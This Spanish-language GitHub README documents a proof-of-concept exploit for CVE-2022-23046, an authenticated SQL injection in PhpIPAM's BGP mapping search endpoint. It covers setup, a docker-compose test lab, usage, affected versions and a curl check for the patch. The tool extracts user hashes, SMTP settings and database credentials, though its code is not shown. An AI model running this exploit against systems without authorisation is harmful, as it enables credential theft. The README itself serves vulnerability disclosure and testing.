jcarabantes/cve-2022-23046Exploit de prueba de concepto para CVE-2022-23046, una inyección SQL autenticada en PhpIPAM v1.4.4. Extrae información del servidor, configuración SMTP, hashes de usuarios y credenciales de base de datos a través del endpoint edit-bgp-mapping-search.php.
El descubrimiento original y el PoC manual provienen de Fluidattacks:
PhpIPAM v1.4.4 permite a un usuario administrador autenticado inyectar sentencias SQL en el parámetro "subnet" al buscar una subred a través de app/admin/routing/edit-bgp-mapping-search.php.
Este PoC ejecuta SQLi sencillo para obtener información como:
Algunos de ellos son accesibles a través del backend, pero los agrego aquí como una forma fácil de obtener toda la información en una sola consulta. Siéntete libre de agregar/eliminar tus propios payloads.
Para cosas más avanzadas, crea tus propios payloads (en res.payloads), usa burpsuite o sqlmap.
git clone https://github.com/jcarabantes/CVE-2022-23046.git
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-23046.py -h
version: '3'
services:
phpipam-web:
image: phpipam/phpipam-www:v1.4.3
ports:
- "8888:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- IPAM_DATABASE_WEBHOST=%
restart: unless-stopped
volumes:
- phpipam-logo:/phpipam/css/images/logo
depends_on:
- phpipam-mariadb
phpipam-cron:
image: phpipam/phpipam-cron:latest
ports:
- "8889:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- SCAN_INTERVAL=1h
restart: unless-stopped
depends_on:
- phpipam-mariadb
phpipam-mariadb:
image: mariadb:latest
environment:
- MYSQL_ROOT_PASSWORD=my_secret_mysql_root_pass
restart: unless-stopped
volumes:
- phpipam-db-data:/var/lib/mysql
volumes:
phpipam-db-data:
phpipam-logo:
python CVE-2022-23046.py -h
___ _ _ ____ ___ ___ ___ ___ ___ ___ ___ __ _
/ __)( \/ )( ___)___(__ \ / _ \(__ \ (__ \ ___(__ \ (__ ) / _ \ /. | / )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _/(___)/ _/ (_ \( (_) )(_ _)/ _ \
\___) \/ (____) (____)\___/(____)(____) (____)(___/ \___/ (_) \___/
Vulnerability discovered by Oscar Uribe
PoC author: @javicarabantes
usage: CVE-2022-23046.py [-h] [-d] [-q] --url URL --user USER
optional arguments:
-h, --help show this help message and exit
-d Debug output
-q Do not print the banner
--url URL phpipam url: https://ipamserver:8081/
--user USER admin user
python CVE-2022-23046.py --url http://localhost:8888/ --user admin
He probado este PoC en diferentes versiones de phpipam (1.4.3, 1.4.4 y 1.5) y funcionó correctamente (no solo en < 1.4.5). Revisando el proyecto phpipam en GitHub, vi que el commit 4b764b9cb236d1a4a06fc8ad9a93b306b3f5c04d también afectó a la versión 1.5.
Verifica si CHANGELOG es accesible y contiene el comentario sobre esta corrección; de lo contrario, el servidor phpipam podría ser vulnerable.
curl -sk https://phpipamserver/misc/CHANGELOG | grep "edit-bgp-mapping-search.php"